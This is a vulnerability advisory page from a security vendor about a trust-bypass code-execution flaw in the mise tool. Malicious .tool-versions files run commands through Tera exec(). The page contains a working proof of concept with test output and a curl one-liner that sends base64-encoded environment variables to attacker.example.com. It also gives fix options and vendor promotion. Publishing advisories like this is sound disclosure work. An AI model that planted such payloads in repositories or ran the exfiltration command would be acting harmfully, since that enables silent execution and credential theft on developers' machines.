Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🦀
🦀 crates.io
Not in CISA KEV
CRITICAL severity

GHSA-fjj5-v948-whjj

CRITICAL

GHSA-fjj5-v948-whjj is a critical-severity (CVSS 9.6) Code Injection vulnerability in mise. O3 Security confirms whether GHSA-fjj5-v948-whjj is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Mise Vulnerable to Arbitrary Code Execution via Tera Templates in .tool-versions Files (Trust Bypass)

Also known asCVE-2026-33646
Published
Jun 22, 2026
Updated
Jul 21, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 11, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-fjj5-v948-whjj.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs31th percentile — riskier than 31% of all scored CVEsHighest risk
0.00%0.39%0.79%1.19%0.7%0.4%0.4%Jul 26Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-fjj5-v948-whjj plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 357,322 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🦀mise

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Mise processes .tool-versions files through the Tera template engine during parsing, with the exec() function registered, enabling arbitrary command execution. Unlike .mise.toml files, .tool-versions files are not subject to trust verification in non-paranoid mode. This means an attacker can place a malicious .tool-versions file in a git repository, and when a victim with mise activated cds into the directory, arbitrary commands execute without any trust prompt.

Vulnerability Details

Vulnerable Code

File: src/config/config_file/tool_versions.rs, lines 60-63

pub fn parse_str(s: &str, path: PathBuf) -> Result<Self> {
    let mut cf = Self::init(&path);
    let dir = path.parent();
    let s = get_tera(dir).render_str(s, &cf.context)?;  // <-- No trust check
    // ...
}

File: src/tera.rs, lines 385-391

pub fn get_tera(dir: Option<&Path>) -> Tera {
    let mut tera = TERA.clone();
    let dir = dir.map(PathBuf::from);
    tera.register_function("exec", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));
    tera.register_function("read_file", tera_read_file(dir));
    tera
}

File: src/tera.rs, lines 394-452 -- tera_exec passes the command argument to a shell for execution with no restrictions.

File: src/config/config_file/mod.rs, lines 272-287

pub async fn parse(path: &Path) -> Result<Arc<dyn ConfigFile>> {
    if let Ok(settings) = Settings::try_get()
        && settings.paranoid
    {
        trust_check(path)?;  // Only in paranoid mode!
    }
    match detect_config_file_type(path).await {
        // ...
        Some(ConfigFileType::ToolVersions) => Ok(Arc::new(ToolVersions::from_file(path)?)),
        // ...
    }
}

Attack Vector

  1. An attacker creates a .tool-versions file in a git repository containing Tera template syntax with the exec() function.
  2. The victim clones the repository and has mise activated in their shell (via eval "$(mise activate zsh)" or equivalent).
  3. When the victim cds into the repository directory, mise's shell hook (hook-env) fires automatically.
  4. hook-env loads and parses config files, including .tool-versions.
  5. During parsing, ToolVersions::parse_str processes the file content through get_tera(dir).render_str().
  6. The Tera engine evaluates {{ exec(command="...") }}, executing arbitrary commands as the victim's user.
  7. No trust prompt is displayed because trust_check is not called for .tool-versions files in non-paranoid mode.

Execution Context

  • Commands execute as the current user with full access to their environment.
  • The pristine environment (env::PRISTINE_ENV) is passed to the executed command, which includes all of the user's environment variables (potentially including tokens, credentials, SSH agents, etc.).
  • Execution happens silently during the prompt hook -- the user sees no indication that code was run.

Contrast with .mise.toml

.mise.toml files are protected: MiseToml::from_str() calls trust_check(path) before any parsing occurs (line 213 of mise_toml.rs). During hook-env, untrusted .mise.toml files fail to parse with an UntrustedConfig error, preventing any code execution. .tool-versions files lack this protection entirely.

Steps to Reproduce

Prerequisites

  • mise installed (brew install mise or equivalent)
  • Shell activation enabled: eval "$(mise activate zsh)" (or bash/fish)
  • Default settings (paranoid mode NOT enabled — this is the default)

PoC: Silent RCE on cd

Step 1: Create a directory simulating a cloned repository with a malicious .tool-versions:

mkdir -p /tmp/poc-mise-repo
cd /tmp/poc-mise-repo
git init

cat > .tool-versions << 'EOF'
{{ exec(command="id > /tmp/mise-rce-proof && echo SUCCESS=$(whoami) >> /tmp/mise-rce-proof && date >> /tmp/mise-rce-proof") }}node 20.0.0
python 3.11.0
EOF

git add -A && git commit -m "Initial commit"

Note: The exec() output is concatenated with node so the resulting line parses as a valid tool-versions entry. The payload redirects all output to a file, producing no stdout — the exec() returns an empty string, making the line evaluate to node 20.0.0.

Step 2: In a new shell with mise activated, enter the directory:

eval "$(mise activate zsh)"
cd /tmp/poc-mise-repo

Step 3: Verify arbitrary code execution:

cat /tmp/mise-rce-proof

Expected output:

uid=501(youruser) gid=20(staff) groups=20(staff),...
SUCCESS=youruser
Mon Mar 16 21:34:46 IST 2026

No trust prompt, no warning, no error output. The id command executed silently as the current user.

Validated Test Results

Tested on 2026-03-16 with:

  • mise 2026.3.9 macos-arm64
  • macOS Darwin 24.5.0 arm64
  • zsh 5.9
  • Paranoid mode: false (default)

Test 1 — .tool-versions (no trust check):

$ rm -f /tmp/mise-rce-proof
$ zsh -c 'eval "$(mise activate zsh)" && cd /tmp/poc-mise-repo && pwd'
/tmp/poc-mise-repo
$ cat /tmp/mise-rce-proof
uid=501(golan) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...
SUCCESS=golan
Mon Mar 16 21:34:46 IST 2026

Command executed silently. No trust prompt. No errors.

Test 2 — .mise.toml with same payload (trust check blocks execution):

$ mkdir -p /tmp/poc-mise-toml
$ cat > /tmp/poc-mise-toml/.mise.toml << 'TOMLEOF'
[tools]
node = "{{ exec(command='id > /tmp/mise-hook-pwned') }}20.0.0"
TOMLEOF
$ rm -f /tmp/mise-hook-pwned
$ zsh -c 'eval "$(mise activate zsh)" && cd /tmp/poc-mise-toml && pwd'
mise ERROR Config files in /private/tmp/poc-mise-toml/.mise.toml are not trusted.
Trust them with `mise trust`. See https://mise.jdx.dev/cli/trust.html
$ cat /tmp/mise-hook-pwned
cat: /tmp/mise-hook-pwned: No such file or directory

.mise.toml correctly blocked by trust verification. .tool-versions bypasses it entirely.

Alternative PoC (data exfiltration)

{{ exec(command="curl -s -X POST -d \"$(env | base64)\" https://attacker.example.com/collect -o /dev/null") }}python 3.11.0

Impact

  • Arbitrary code execution on any machine where a user with mise activated enters a directory containing a malicious .tool-versions file.
  • Supply chain attack vector: .tool-versions is a widely-used convention from asdf-vm and is commonly committed to repositories. Developers expect it to contain only tool names and versions, not executable content.
  • Silent execution: No trust prompt, warning, or user interaction required.
  • Full user privilege escalation: Commands run with the full privileges and environment of the current user.
  • Credential theft: The user's full environment (including tokens, API keys, SSH agent) is available to the executed command.
  • Widespread potential impact: Any open-source project with a .tool-versions file could be targeted. A malicious PR adding tera syntax to an existing .tool-versions file could execute code on all reviewers' machines.

Suggested Fix

Option 1: Add trust_check to .tool-versions parsing (recommended)

// In src/config/config_file/tool_versions.rs
pub fn from_file(path: &Path) -> Result<Self> {
    trace!("parsing tool-versions: {}", path.display());
    Self::parse_str(&file::read_to_string(path)?, path.to_path_buf())
}

pub fn parse_str(s: &str, path: PathBuf) -> Result<Self> {
    let mut cf = Self::init(&path);
    let dir = path.parent();
    // Only use tera if the file contains template syntax AND is trusted
    let s = if s.contains("{{") || s.contains("{%") || s.contains("{#") {
        trust_check(&path)?;
        get_tera(dir).render_str(s, &cf.context)?
    } else {
        s.to_string()
    };
    // ...
}

Option 2: Remove exec() from .tool-versions tera context

Create a separate get_tera_safe() that does not register the exec function, and use it for .tool-versions parsing.

Option 3: Remove tera processing from .tool-versions entirely

.tool-versions is an asdf-compatible format that historically does not support templates. Removing tera from its parsing would be the safest approach and most consistent with user expectations.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🦀crates.iomiseall versions2026.3.10

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mise. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update mise to 2026.3.10 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fjj5-v948-whjj is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-fjj5-v948-whjj is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-fjj5-v948-whjj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary Mise processes `.tool-versions` files through the Tera template engine during parsing, with the `exec()` function registered, enabling arbitrary command execution. Unlike `.mise.toml` files, `.tool-versions` files are **not subject to trust verification** in non-paranoid mode. This means an attacker can place a malicious `.tool-versions` file in a git repository, and when a victim with mise activated `cd`s into the directory, arbitrary commands execute without any trust prompt. ## Vulnerability Details ### Vulnerable Code **File:** `src/config/config_file/tool_versions.rs`, line
O3 Security · Impact-Aware SCA

Is GHSA-fjj5-v948-whjj in your dependencies?

O3 detects GHSA-fjj5-v948-whjj across crates.io dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-fjj5-v948-whjj: mise Remote Code… | O3 Security